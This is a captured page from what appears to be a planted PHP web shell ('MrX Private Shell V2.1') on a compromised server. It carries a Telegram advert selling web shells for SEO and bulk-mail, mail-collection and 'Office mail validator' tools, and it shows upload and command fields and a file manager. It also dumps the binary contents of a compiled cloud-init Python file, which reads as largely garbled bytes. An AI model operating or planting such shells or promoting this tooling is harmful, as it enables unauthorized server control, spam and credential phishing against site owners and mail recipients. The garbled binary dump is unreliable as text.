__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h�����SrSSKrSSKrSSKrSSKrSSKJr SSKJr SSK	J
r
 SSKJr SSK
Jr SSKJrJrJr SS	KJrJrJrJrJr S
r\SSS
SS/rS/rSSjrSSjrSrSr\ S:Xa\"5 gg)zFDefine 'clean' utility and handler as part of cloud-init command line.�N)�settings)�uses_systemd)�log_util)�CLOUDINIT_NETPLAN_FILE)�Init)�ProcessExecutionError�runparts�subp)�del_dir�del_file�get_config_logfiles�is_link�
write_filez/etc/machine-idz-/etc/NetworkManager/conf.d/99-cloud-init.confz?/etc/NetworkManager/conf.d/30-cloud-init-ip6-addr-gen-mode.confz@/etc/NetworkManager/system-connections/cloud-init-*.nmconnectionz,/etc/systemd/network/10-cloud-init-*.networkz+/etc/network/interfaces.d/50-cloud-init.cfgz)/etc/ssh/sshd_config.d/50-cloud-init.confc
��U(d[R"SSS9nURSSSSSS	S
9 URSSSSS
9 URSSSSSS
9 URSSSSSSS
9 URSS/SQ/SSSS9 U$)aBuild or extend an arg parser for clean utility.

@param parser: Optional existing ArgumentParser instance representing the
    clean subcommand which will be extended to support the args of
    this utility.

@returns: ArgumentParser with proper argument configuration.
�cleanzJRemove logs, configs and artifacts so cloud-init re-runs on a clean system)�prog�descriptionz-lz--logs�
store_trueF�remove_logszRemove cloud-init logs.)�action�default�dest�helpz--machine-idz�Set /etc/machine-id to 'uninitialized
' for golden imagecreation. On next boot, systemd generates a new machine-id. Remove /etc/machine-id on non-systemd environments.)rrrz-rz--rebootz;Reboot system after logs are cleaned so cloud-init re-runs.z-sz--seed�remove_seedz5Remove cloud-init seed directory /var/lib/cloud/seed.z-cz	--configs)�all�
ssh_config�network�+�
remove_configzbRemove cloud-init generated config files of a certain type. Config types: all, ssh_config, network)�choicesr�nargsrr)�argparse�ArgumentParser�add_argument��parsers �5/usr/lib/python3/dist-packages/cloudinit/cmd/clean.py�
get_parserr(*s�����(�(��$�
���������
�
&�
��������
C��	��������
J����������
�
D�
�������
�
��
�2��
��M�c
��UR5 U(a'[UR5Hn[U5 M U(aV[	U5RSS/5(a5[H+n[R"U5Hn[U5 M M- U(a9[	U5RSS/5(a[Hn[U5 M [RRURR5(dg[RRURRS5n[R"SURR-5H^nXW:Xa	U(dM[RRU5(a[U5(d
[!U5 MS[U5 M` [-[.R05 g!["a:n[$R&"SR)U[+U555 SnA g	SnAff=f![2a4n[$R&"S
[.R0SU35 SnAg	SnAff=f)a�Helper which removes artifacts dir and optionally log files.

@param: init: Init object to use
@param: remove_logs: Boolean. Set True to delete the cloud_dir path. False
    preserves them.
@param: remove_seed: Boolean. Set True to also delete seed subdir in
    paths.cloud_dir.
@param: remove_config: List of strings.
    Can be any of: all, network, ssh_config.
@returns: 0 on success, 1 otherwise.
rrrr�seedz%s/*zCould not remove {0}: {1}N�zFailure during run-parts of z: )�read_cfgr
�cfgr�set�intersection�GEN_NET_CONFIG_FILES�glob�GEN_SSH_CONFIG_FILES�os�path�isdir�paths�	cloud_dir�joinrr�OSErrorr�error�format�strr	r�CLEAN_RUNPARTS_DIR�	Exception)	�initrrr�log_filer5�conf�	seed_path�es	         r'�remove_artifactsrEms���	�M�M�O��+�D�H�H�5�H��X��6���]�+�8�8�%��9K�L�L�(�D��	�	�$������(�)���]�+�8�8�	�����)�D��T�N�)��7�7�=�=����-�-�.�.�������T�Z�Z�1�1�6�:�I��	�	�&�4�:�:�#7�#7�7�8����[��	��w�w�}�}�T�"�"�7�4�=�=���
����9����,�,�-�
���	��N�N�6�=�=�d�C��F�K�L���	��
�����*�8�+F�+F�*G�r�!��M�	
���	�s6�?G3�	G3�H:�3
H7�=/H2�2H7�:
I8�*I3�3I8c	��[/S9n[X!RURUR5nUR
(a.[
5(a[[SSS9 O[[5 US:Xa9UR(a(URRSSSS	9n[US
S9 U$U$![a<n[R "SR#U[%U555 S
nSnAU$SnAff=f)z3Handle calls to 'cloud-init clean' as a subcommand.)�ds_depszuninitialized
i$)�moder�reboot�nowN)rH�delay�messageF)�capturez-Could not reboot this system using "{0}": {1}r,)rrErrr�
machine_idrr�ETC_MACHINE_IDrrI�distro�shutdown_commandr
rrr;r<r=)�name�argsr@�	exit_code�cmdrDs      r'�handle_clean_argsrV�s������D� ����� 0� 0�$�2D�2D��I�����>�>��~�'8�u�E�
�^�$��A�~�$�+�+��k�k�*�*����+�
��	���e�$���9���%�	��N�N�?�F�F���Q���
�
�I����	�s�'
B5�5
C;�?1C6�6C;c�t�[5n[R"[SUR	555 g)z4Tool to collect and tar all cloud-init related logs.rN)r(�sys�exitrV�
parse_argsr%s r'�mainr[�s&��
�\�F��H�H�
�w��(9�(9�(;�
<�=r)�__main__)N)FN)!�__doc__r"r2r4rX�	cloudinitr�cloudinit.distrosr�
cloudinit.logr�cloudinit.net.netplanr�cloudinit.stagesr�cloudinit.subprr	r
�cloudinit.utilrrr
rrrOr1r3r(rErVr[�__name__�r)r'�<module>rgs���M���	�
��*�"�8�!�@�@���#���3�E�F�2�1�
��0���
@�F/
�d�:>��z���F�r)

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 153 B 0644
clean.cpython-313.pyc File 7.02 KB 0644
cloud_id.cpython-313.pyc File 4.74 KB 0644
main.cpython-313.pyc File 49.61 KB 0644
query.cpython-313.pyc File 11.2 KB 0644
status.cpython-313.pyc File 20.12 KB 0644
Filemanager